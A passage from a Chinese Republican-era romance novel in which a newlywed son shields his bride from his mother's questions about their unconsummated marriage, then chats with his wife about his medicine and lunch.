曹妙致穿着过膝中裙,留着短发,是时兴的女学生打扮。提到自己的婚事,她也不害臊,大大方方地道:“舅舅快别说了,再说下去,我巴不得现在就立刻出嫁呢,可哪里又能找得到像三表哥这样会体贴妻子的良配呢?” 坐在她旁边的表嫂嗤笑一声,翻了个白眼。 文薰闻声望去,打量着这位穿着藤黄色起蝴蝶银纹的旗袍,妆扮时髦,极有风情的嫂子。 莫太太只当没看见,自然笑道:“你表哥认识不少年轻的文人雅士,你不如现在就求了他替你做媒,让他多注意些。” 一时间大家都笑了起来。 18. 莫太太的考量 说完话,长辈们不愿讨嫌,小辈们也求自在,便都散了。文薰和霞章离开前,被莫太太出声喊住:“文薰,你再留一下。” 她身边站着的,正是早上进过文薰房里,如今一脸严肃的吴妈。 文薰大概猜到自己将要面对什么,回头望了莫霞章一眼。 他收回视线,再次对她点头。 有了他前面身体力行的靠谱支持,这回文薰只剩下安心。 她现在很愿意相信莫霞章是能够说到做到的。 莫老爷见了小两口的眉眼官司,骤然开口吩咐:“霞儿,你也该和你大哥出门去驿馆送送昨天留宿的亲戚,别怠慢了。” 这是正经事,莫霞章不能拒绝,低头称是。 很快,屋子里便只剩下婆媳二人。 莫太太招呼她过来,开口时依旧和气,“刚才没问你,夏天暑热,昨天休息得好吗?” 文薰坐在她身边,保持着矜持,“回母亲的话,还成的。” “我怕你认床,又怕你不熟悉新环境。” “回母亲的话,都还好的。” 莫太太眼瞧着她低眉顺目,一口一个“回母亲的话”,似乎十分乖巧,心里不免迟疑。 她思绪万千,皱着眉头,也是出于无奈才直言相问:“文薰,是不是,你娘家妈妈没教过你……” 她话还没说完全,屋外的走廊上便传来莫霞章的声音:“母亲。” 他竟是没走! 文薰方才等着莫太太的询问,心都被提起了半截,现在却闻声落下。她生出几分庆幸,回头见到莫霞章在树荫下,影影绰绰,正是一位救星。 莫太太被他吓了一跳,抬头一望,语气埋怨,“你这孩子,不是去送客了吗?” 为了方便行走,莫霞章抓着长衫侧边,几个跨步进来,“想起还有两句话要和母亲讲,就请了大哥在前院稍等片刻。” 说完,他又望向文薰:“是些私话,请姐姐先回去。” 文薰看了一眼莫太太,得到她的默许后,起身离开。 她一走,莫太太立马起身,走到莫霞章的身边,开口是不同于和他人说话时小心又温柔的语气: “乖孩子,你有哪件事情妈妈是不允你的,啊,何必着急地横冲直撞呢?叫你媳妇留在这里听便是了。还有,都已经成亲了,怎么还叫人家姐姐?” 莫霞章不理会她的话,开门见山对她道:“母亲,这件事是孩儿的主意,朗家姐姐也只是听我的话,你不要怪她。” 这还得了!莫太太瞬间变了脸色,“这是什么话,难道你昨天晚上真的没跟她睡在一起?” 莫霞章居然也敢于承认,“是的。” “笑话!”莫太太轻喝一声,吼完却又后悔。她低头用帕子沾了沾鼻尖,以锐利的眼神扫了一眼房里的下人,见她们全都低下头去,才指着外头道: “你告诉我,全天下,哪家的新婚夫妇有分开睡的道理?新婚之夜不圆房,我只当你累了。可往后……咱们大张旗鼓地把人家娶回来,是做老婆和你一起睡觉的,不是把她供着当菩萨的!别人知道了,是要说闲话的!” “我自己问心无愧,谁敢说,说了又如何?”莫霞章眼睛一横,若文薰在这里,怕是会感慨他有些的神情与母亲极像。 他接着开口,语气干脆,且十分霸道,“菩萨也好,老婆也罢,总之,是天气太热了,是我不愿意和别人亲近。父亲说成家立业,男人成了家,就得自己管好家,就得能够自己做主,这方面别人是代劳不得的。所以我们房里的事,母亲以后就不要再插手了。” 他不由分说的一通发言,把莫太太气得说不出话来,“你……” 莫霞章强势地做出总结:“我也会从今天开始,睡到书房里去。” 莫太太急得变了脸色,“那怎么能成?若你不知事,误了人家,我怎么向人家的爹爹妈妈交代?” 她说着,一贯坚强的人此时眼泪都要出来了,苦口婆心道:“霞儿,千怪万怪,怪我和你父亲就好,别牵扯到无辜的人。你一定要记得,你是个男人!夫妻敦伦,那是天经地义的。你就算再不同意这桩婚事,也不能冷落人家。朗小姐端庄规矩,是极好的品貌,你需得珍惜啊。” 莫霞章认真听着,因不想母亲为难妻子,便任她误会没做解释,“道理我都懂,我心里自有打算,请母亲安心,也不要难过,孩儿先退下了。” 他离开时,只听得莫太太忍气拍桌,震得茶碗轻鸣。 莫霞章顿足片刻,因实在不知道说些什么,更不知道该如何开口,索性提步离开。 院门口,文薰和巧珍正在门廊下的荫处等他。霞章一见,赶忙加快脚步过去。 文薰也上前两步迎他,“可是跟母亲好好说的?” “嗯。”霞章点头,脸上露出一个令她安心的浅笑。 文薰拍了拍胸脯,有些惊魂未定,“我刚才都吓坏了。” 莫霞章觉得新鲜,忍不住问:“姐姐读了那么多书,还怕婆婆?” 文薰轻哼了一声,“鸟类会挑选最好的材料筑巢,人类也会通过自己的努力让周围的生活环境变得舒适。我想好好地生活,自然会在意你父母会不会喜欢。” 她想来又有些欢喜,“说来,这何尝不是人生经历的一种呢?等我琢磨出道理了,一定要写一本书,好好讲述做人儿媳的经历。” 莫霞章听她说完,眼中因她对生活的期盼,而同时升起期待的光。 见他笑得温暖,文薰想起他刚才喝药时愁得发紧的脸,对比之下,难免有一问:“对了,你刚才餐后,喝的是什么药?” 霞章把手背在身后,微低着头答:“是张养身体的方子,自小便喝。以前还好,每天吃上两颗药丸子便作罢了。最近那位老医生不知是从哪里得来了启发,想了个折磨人的新方法,让我晨起喝汤水,晚上吃丸子。每日两回,长此以往,方得有效。害得我苦不堪言不说,那方子写的内容也狗屁不通,我一个长眼长脑长了心的人,竟是不能得知每日入口的东西是什么。” 文薰记起他曾经说过去年在北方被关了四个月的事,便知这就是家里给他弄来的调养之方了。 她诚心道:“药苦不怕,有效果便好。” 霞章的语气透露出几分不在意,“每日喝着,不过是为了安父母的心,我自己觉得自己是无甚大碍的。” “你还懂医?” “不懂,只是我知道封建时期的大户人家为了彰显不同,总是喜欢让人日常喝上几碗药的。” 文薰一时没能领会到这句没头脑的话的出处,不免发问:“这话从何而来?” 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她听出他有些讳疾忌医,或许是怕吃那苦药,便提议道:“我舅父的医馆里有位坐馆诊脉的老先生,姓江的,据说出身太医世家,精通调养之道。下回有机会去沪市,请他给你看看。” 莫霞章见她愿意为自己操心,自她说话起便一直盯着她看。到了这里,见她为自己仔细盘算,更是露出笑意,只不过嘴上仍旧道:“也是擅长开苦药方子吗?若同样是,我才不看。” 文薰歪头回望,打趣道:“那就让他也给你开一方人参养荣丸,可好?” 这时,有个穿着长袖短褂配长裤的随从从园子拐角处跑过来催促,“三爷,大爷在前边问您还要多久呢。” “这就去。”霞章回了他,又为文薰介绍:“这是父亲派遣到我身边帮忙的人,姓吴,叫兴万。” 那日便是他在火车上替下了“小金子”。 吴兴万鞠了一躬,“见过少奶奶。” 文薰朝他点头回礼,“你好。” 霞章这时又邀请,“我和大哥要去送客,姐姐可愿意同去?” 文薰略作思忖,想到这事是老爷点的名,且大嫂也没去,便拒绝道:“不了,我先把房里的东西整理了吧。” 她的朋友,师长、及朗家的亲戚昨天吃过晚饭就回去了,倒是不用这么麻烦。 霞章也不强迫,只嘴上假意抱怨道:“也好,现在日头怪晒的。” 文薰愿意哄着他:“那结束了,你快些回来。” 莫霞章叹了口气,知会道:“我那边人多,可能要到晌午才能散。中午,我想吃鲤鱼焙面。” 文薰抿唇一笑,只给巧珍使眼色,“巧珍,记下了吗?” 小丫头欢喜地答应,“记下了。少爷,这是北方菜吧?” 霞章说:“是豫菜,口味清淡,却得滋味。你们没吃过的话,可以一起试试。” “好。”文薰答应了,见兴万面色焦急,便主动停了话头,“你快去办事吧。” 霞章低头笑,又瞧了文薰一眼,才跟着兴万走了。 巧珍见文薰也望着他的背影,使坏道:“小姐,姑爷舍不得你呢。” 文薰瞥了她一眼,八方不动,似乎已经不为这种不伤皮毛的取笑而害臊了。